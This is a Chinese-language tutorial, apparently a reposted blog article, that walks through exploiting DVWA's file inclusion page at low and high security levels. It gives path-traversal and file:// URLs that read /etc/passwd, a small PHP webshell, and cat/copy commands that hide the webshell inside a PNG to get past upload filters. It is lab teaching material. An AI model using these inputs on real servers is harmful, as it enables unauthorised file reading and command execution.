当前位置: 首页 > article >正文

web漏洞之文件包含漏洞

一、文件包含漏洞

1、把DVWA页面改为low级别,然后点击File Inclusion页面

原理是File Inclusion页面访问的是low.php和include.php,这两个页面包含了include($_GET['page'])这句话,意思是page会把用户输入的参数带进来然后由$_GET读取,最后交给include()函数转换成php语言执行,比如用户输入http://xxx.xxx/?page=../../webshell.php就等于 include(../../webshell.php),只要访问的php页面包含include($_GET['page'])就可以进行文件包含漏洞渗透操作。

include($_GET['page']) 中的page可以随便定义只要和用户输入的page保持一致即可
?page=../../ 或 ?page=/etc/passwd 都属于相对路径,意思是从当前目录开始查看
?page=file:///etc/passwd 通过file://的方式属于绝对路径
-----------------------------------------------------------------------
(1) 先上传一个webshell.php文件到file upload页面
(2) 然后在file inclusion页面访问如下url执行这个webshell.php文件
     http://192.168.1.107/DVWA/vulnerabilities/fi/?page=../../hackable/uploads/webshell.php
     或
     http://192.168.1.107/DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd
    也可以使用绝对路径
    http://192.168.1.107/DVWA/vulnerabilities/fi/?page=file:///etc/passwd
(3) 如果网站不允许上传.php文件可以把webshell嵌入到图片中执行
    cat 1.png webshell.php > 2.png
    http://192.168.1.107/DVWA/vulnerabilities/fi/?page=../../hackable/uploads/2.png

2、如果把dvwa的级别提高到High,那么再上传webshell.php就会失败,此时就只能上传png/jpg文件才可以

(1) 先准备好2.png图片然后把webshell.php的代码植入到3.png图片中
webshell:
<?php echo shell_exec("df"); ?>
windows:
Copy b/ 2.png+webshell.php 3.png   
mac/linux:顺序不要搞反了
cat 2.png webshell.php > 3.png

(2) 上传3.png到DVWA
访问3.png正常显示图片:
http://192.168.1.107/DVWA/hackable/uploads/3.png

(3) 利用文件包含漏洞进行渗透(需要提前知道你上传图片的路径)
http://192.168.1.107/DVWA/vulnerabilities/fi/?page=file:///var/www/html/DVWA/hackable/uploads/3.png
DVWA为了方便用户学习会主动句提供文件包含漏洞模块fi/?page=来帮助用户学习
或者
http://192.168.1.107/DVWA/vulnerabilities/fi/?page=file:///etc/passwd
file://: 表示系统文件的绝对路径,这里只能用绝对路径因为级别是High

http://www.kler.cn/a/466850.html

相关文章:

  • Kafka 消费者专题
  • AngularJS HTML DOM
  • 【超详细】React SSR 服务端渲染实战
  • 软件工程期末大复习(六)面向对象分析
  • 【JAVA】用于控制流程的关键字 break、continue、return 使用场景,注意事项和实例
  • 4.1.2 栈和队列(一)
  • [网络安全]DVWA之SQL注入—low level解题详析
  • Spring Boot自动装配代码详解
  • python +tkinter绘制彩虹和云朵
  • 2025年股指期货每月什么时候交割?
  • 探索光耦:光耦在风力发电中的应用——保障绿色能源的高效与安全
  • ubuntu16 重启之后lvm信息丢失故障恢复
  • Eureka 介绍与原理详解
  • 记录:导出功能:接收文件流数据进行导出(vue3)
  • Jdk动态代理源码缓存优化比较(JDK17比JDK8)
  • 推荐一些关于C#中LINQ的学习资料
  • Qt窗口获取Tftpd32_svc服务下载信息
  • [redux] ts声明useSelector和useDispatch
  • 嵌入式 Linux LED 驱动开发实验
  • 运维工具汇总
  • 【数据分析实战】24年T4某二手车交易平台数据分析
  • 【机器学习】【朴素贝叶斯分类器】从理论到实践:朴素贝叶斯分类器在垃圾短信过滤中的应用
  • 【数据库】简答题汇总
  • 力扣28找出字符串中第一个匹配项的下标
  • PyTorch中的__init__.pyi文件:作用与C++实现关系解析
  • 《探秘开源大模型:AI 世界的“超级引擎”》